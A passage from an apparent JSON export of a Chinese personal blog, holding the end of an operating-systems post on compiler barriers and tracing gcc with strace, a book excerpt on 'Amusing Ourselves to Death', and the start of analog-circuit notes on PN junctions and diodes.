class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e g;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efoo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003easm\u003c/span\u003e \u003cspan class=\"title function_\"\u003evolatile\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"string\"\u003e\u0026#34;nop\u0026#34;\u003c/span\u003e : : \u003cspan class=\"string\"\u003e\u0026#34;r(x)\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;memory\u0026#34;\u003c/span\u003e)\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// compiler barrier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eg++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码借助objdump查看反编译代码,可以看出,这两条\u003ccode\u003eg++\u003c/code\u003e并没有被\u003ccode\u003e-O2\u003c/code\u003e编译优化。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -O2 -c a.c \u0026amp;\u0026amp; objdump -d a.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea.o: file format elf64-x86-64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDisassembly of section .text:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0000000000000000 \u0026lt;foo\u0026gt;:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 0: f3 0f 1e fa endbr64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# b \u0026lt;foo+0xb\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b: 90 nop\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c: 83 05 00 00 00 00 01 addl \u003cspan class=\"variable\"\u003e$0x1\u003c/span\u003e,0x0(%rip) \u003cspan class=\"comment\"\u003e# 13 \u0026lt;foo+0x13\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 13: c3 retq\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除此之外,还有一种更强的barrier:\u003ccode\u003e__sync_synchronize();\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"观察编译器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/#%E8%A7%82%E5%AF%9F%E7%BC%96%E8%AF%91%E5%99%A8\" class=\"headerlink\" title=\"观察编译器\"\u003e\u003c/a\u003e观察编译器\u003c/h3\u003e\u003cp\u003e使用\u003ccode\u003estrace\u003c/code\u003e,我们可以看到一个程序所有的系统调用。借助下面几个工具的组合,我们可以看到gcc如何编译程序:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, OS!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存上面的文件后,执行下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003estrace -f gcc a.c |\u0026amp; vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们可以在Vim中看到下面的输出\u003c/p\u003e\u003cp\u003e![[Pasted image 20230128215947.png]]\u003c/p\u003e\u003cp\u003e稍微修改后(\u003ccode\u003e:%!grep execve\u003c/code\u003e留下系统调用的行,\u003ccode\u003e:%!grep -v ENOENT\u003c/code\u003e删除失败的行,\u003ccode\u003e:%s/, /\\r /g\u003c/code\u003e将参数换行显示,提高结果可读性),可以分析得到下面的结果\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e 1 execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/bin/gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 2 [\u003cspan class=\"string\"\u003e\u0026#34;gcc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 3 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 4 0x7ffd181ca900 /* 30 vars */) = 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 5 [pid 212] execve(\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/cc1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 6 [\u003cspan class=\"string\"\u003e\u0026#34;/usr/lib/gcc/x86_64-linux-gnu/9/\u0026#34;\u003c/span\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 7 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 8 \u003cspan class=\"string\"\u003e\u0026#34;-imultiarch\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 9 \u003cspan class=\"string\"\u003e\u0026#34;x86_64-linux-gnu\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11 \u003cspan class=\"string\"\u003e\u0026#34;-quiet\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12 \u003cspan class=\"string\"\u003e\u0026#34;-dumpbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13 \u003cspan class=\"string\"\u003e\u0026#34;a.c\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14 \u003cspan class=\"string\"\u003e\u0026#34;-mtune=generic\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15 \u003cspan class=\"string\"\u003e\u0026#34;-march=x86-64\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16 \u003cspan class=\"string\"\u003e\u0026#34;-auxbase\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17 \u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18 \u003cspan class=\"string\"\u003e\u0026#34;-fasynchronous-unwind-tables\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-protector-strong\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21 \u003cspan class=\"string\"\u003e\u0026#34;-Wformat-security\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22 \u003cspan class=\"string\"\u003e\u0026#34;-fstack-clash-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23 \u003cspan class=\"string\"\u003e\u0026#34;-fcf-protection\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24 \u003cspan class=\"string\"\u003e\u0026#34;-o\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25 \u003cspan class=\"string\"\u003e\u0026#34;/tmp/ccf8oz38.s\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26 0x251bbd0 /* 35 vars */ \u0026lt;unfinished ...\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面就是\u003ccode\u003egcc\u003c/code\u003e编译这个程序的全流程,以及全部的参数。这些系统调用都能看得到。也就证明了前面的结论:程序=系统调用+计算。我们写的算法题就几乎属于纯计算(只有最后的\u003ccode\u003ereturn 0;\u003c/code\u003e算个系统调用),平时使用的各种程序就属于系统调用+计算的类型。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/"},{"title":"书摘:《娱乐至死》","time":"2022-12-29T08:39:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e谎言没有被定义成真理,真理也没有被定义成谎言。真正发生的是公众已经适应了没有连贯性的世界,并且已经被娱乐得麻木不仁了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e破碎化的信息,使得在传统的印刷文字中习惯了连贯的上下文的读者需要不停地切换上下文。这使得读者疲于应付无休止的切换。显然,这让信息得不到被处理的精力了。久而久之,当人们开始适应之后,甚至不会再对信息进行思考,而只是单纯地接收并丢弃,并以这种走马观花的感受为乐。这种上下文切换在手机上展现的最为淋漓尽致。手机的通知系统充分调动用户的各种感官提醒人们去查看最新的信息。它很负责,我们几乎不会遗漏一条信息。而代价就是上面所述的切换一天可能会发生更多次,直到我们筋疲力竭为止,我们依然会点亮屏幕,查看最新的通知。我们会感觉自己看到了很多信息,并且也仅限于此。我们不会更深入地思考整理,不仅是没有那个精力,也是因为这些信息太零散了,从通知类到生活小常识,无所不有。这样的无关联信息没有可供思考的语境,也没有思考的余地:就像照片一样,只是一个个事实而已,它们的联系只有同样使用文字同时排版在你的眼前而已。\u003c/p\u003e\u003cp\u003e这些通知可能很重要,会改变我们接下来的行程安排。但是这种突发事件式的通知会打断我们正在做的,无论它是否重要。这对于我们当前的状态是一种毁灭性打击:当我在看书时,弹出了群聊消息。我点开它,并参与了对话。我退出它,重新回到阅读流程中。若只是一次两次还好,次数多了我会直接放弃阅读,开始做其他的事,比如继续进行没什么营养的对话,查看所有的新消息,或者去视频网站消磨时间。\u003c/p\u003e\u003cp\u003e因此,手机最好还是只回归于一个联络工具的功能,而将其他功能交给更专业的设备去完成。比如把阅读交给实体书/电脑,学习交给电脑/平板。笔记可以用电子的,也可以用纸质的。但是在选择前者时,应该确保不要被工具影响工作状态。做笔记时可以开启免打扰模式来确保专注。\u003c/p\u003e\u003cp\u003e现代生活难以离开手机,但是它的副作用之严重不是所有人都能接受。在日常生活中,尽量减少查看消息的次数,通知可以定时查看。例如,在每天的午餐时间看看通知,决定接下来要做的事。特别注意,避免使用手机进行工作。这是因为手机可能导致的注意力和精力大量消耗,这会大大降低工作效率和工作质量。\u003c/p\u003e\u003cp\u003e再往后的内容属于个人任务/时间管理的内容,这里不再赘述。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/29/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E4%B9%A6%E6%91%98%EF%BC%9A%E3%80%8A%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB%E3%80%8B/"},{"title":"模电:第一章-半导体器件","time":"2022-12-21T02:25:21Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"1-1-半导体基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-1-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"1.1 半导体基础\"\u003e\u003c/a\u003e1.1 半导体基础\u003c/h2\u003e\u003cul\u003e\u003cli\u003eP/N型半导体 根据\u003cstrong\u003e载流子的正负电性\u003c/strong\u003e命名,掺杂三价/五价物质\u003c/li\u003e\u003cli\u003e本征半导体 纯度达到小数点后9个9的半导体。在其中,空穴数和自由电子数相等\u003c/li\u003e\u003cli\u003e掺杂 会使某一种载流子占多数\u003c/li\u003e\u003cli\u003e漂移运动 载流子在电场作用下定向运动\u003c/li\u003e\u003cli\u003e扩散运动 载流子自浓度高向低浓度区域扩散\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"1-2-PN结\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-2-PN%E7%BB%93\" class=\"headerlink\" title=\"1.2 PN结\"\u003e\u003c/a\u003e1.2 PN结\u003c/h2\u003e\u003ch3 id=\"PN结形成过程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%BD%A2%E6%88%90%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"PN结形成过程\"\u003e\u003c/a\u003ePN结形成过程\u003c/h3\u003e\u003cp\u003e在一块本征半导体两侧进行N型掺杂和P型掺杂,此时在结合面上会发生扩散运动。N电子扩散到P空穴,两区域会中和,从而在结合面上会形成裸露粒子。P区呈负电性,N区呈正电性。这会形成内电场,由N区指向P区。这电场会阻碍多子的扩散作用。\u003c/p\u003e\u003cp\u003e在内电场作用下,少子会漂移,方向盘和扩散方向相反,从而会和多子达到动态平衡。平衡后的空间电场区域就称为PN结。这也称为耗尽层(缺少多子),也等效于电阻。\u003c/p\u003e\u003cp\u003e两边掺杂程度不同,会使得PN结不对称。重掺杂一侧会因为密度大相对薄。用P+N/PN+表示。\u003c/p\u003e\u003ch3 id=\"PN结单向导电性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%8D%95%E5%90%91%E5%AF%BC%E7%94%B5%E6%80%A7\" class=\"headerlink\" title=\"PN结单向导电性\"\u003e\u003c/a\u003ePN结单向导电性\u003c/h3\u003e\u003cp\u003e正偏(P流向N)导通,反偏(N流向P)截止。\u003c/p\u003e\u003cp\u003eP区电位高于N区电位称为正偏(forward bias),反之称为反偏。\u003c/p\u003e\u003cp\u003e这回路必须加上限流电阻,否则无压降时电流会很大,二极管会被烧毁。\u003c/p\u003e\u003cp\u003e导通性主要和内电场有关。漂移电流大则电流小,扩散电流大则电流大。温度升高漂移电流也会增大。10℃大概对应漂移电流变化一倍。反向电流由于基本不变,所以称为反向饱和电流。\u003c/p\u003e\u003ch3 id=\"伏安特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BC%8F%E5%AE%89%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"伏安特性\"\u003e\u003c/a\u003e伏安特性\u003c/h3\u003e\u003cp\u003e伏安特性数学关系为:$I_D=I_S(e^{\\frac{u}{U_t}}-1)$,其中只有$U$和$I$是变量,$I_S$是反偏电流,$U_T$是温度当量,默认为$26mV$。\u003c/p\u003e\u003cp\u003e$U_T=\\frac{kT}{q}$,其中的$k$是玻尔兹曼常数。\u003c/p\u003e\u003cp\u003e$T=300$时,电压为$26mV$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Screenshot_20221229_093002.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_093211.jpg]]\u003c/p\u003e\u003ch3 id=\"击穿特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%87%BB%E7%A9%BF%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"击穿特性\"\u003e\u003c/a\u003e击穿特性\u003c/h3\u003e\u003cp\u003e击穿方式有两种,血崩击穿和齐纳击穿。\u003c/p\u003e\u003col\u003e\u003cli\u003e雪崩击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较厚,电压较高时\u003c/strong\u003e,一个载流子打在PN结上,会撞出来一些自由电子。这些自由电子会像链式反应一样撞出来更多的自由电子。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e齐纳击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较薄,电压较低时\u003c/strong\u003e,内部扩散载流子形成的内电场可能会直接把束缚电子拉出来,形成击穿。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094116.jpg]]\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094218.jpg]]\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230213_141623.jpg\"/\u003e\u003c/p\u003e\u003ch3 id=\"PN结的电容效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E7%9A%84%E7%94%B5%E5%AE%B9%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"PN结的电容效应\"\u003e\u003c/a\u003ePN结的电容效应\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e总而言之,PN结可以等效为电容和电阻并联。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e电容效应\u003c/strong\u003e 电压变化引起电荷变化。势垒电容,扩散电容构成了PN结的电容效应。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e势垒电容\u003c/strong\u003e 由阻挡层内电荷引起。外加电压会改变阻挡层厚度。这会使得阻挡层内电荷量改变。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e扩散电容\u003c/strong\u003e 多子扩散后,在另一侧积累形成电容效应。正向电压会改变电荷量从而使得电容改变。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_100028.jpg]]\u003c/p\u003e\u003ch2 id=\"1-3-半导体二极管\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-3-%E5%8D%8A%E5%AF%BC%E4%BD%93%E4%BA%8C%E6%9E%81%E7%AE%A1\" class=\"headerlink\" title=\"1.3 半导体二极管\"\u003e\u003c/a\u003e1.3 半导体二极管\u003c/h2\u003e\u003cp\u003e是将半导体制作成二极管(diode)得到的电子元件,性质也是单向导通。两端分别为P端(阳极),N端(阴极)。\u003c/p\u003e\u003cp\u003e分类可以按照材料:\u003c/p\u003e\u003cul\u003e\u003cli\u003e硅二极管\u003c/li\u003e\u003cli\u003e锗二极管\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e也可以按照结构分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e点接触型二极管 适合高频工作,小电流整流、检波和混频等\u003c/li\u003e\u003cli\u003e面接触型二极管 只能在较低的频率工作,可用于整流电路\u003c/li\u003e\u003cli\u003e硅平面型二极管 结面积大的用于大功率整流,小的在脉冲数字电路中作开关管\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"二极管的参数\"\u003e\u003ca 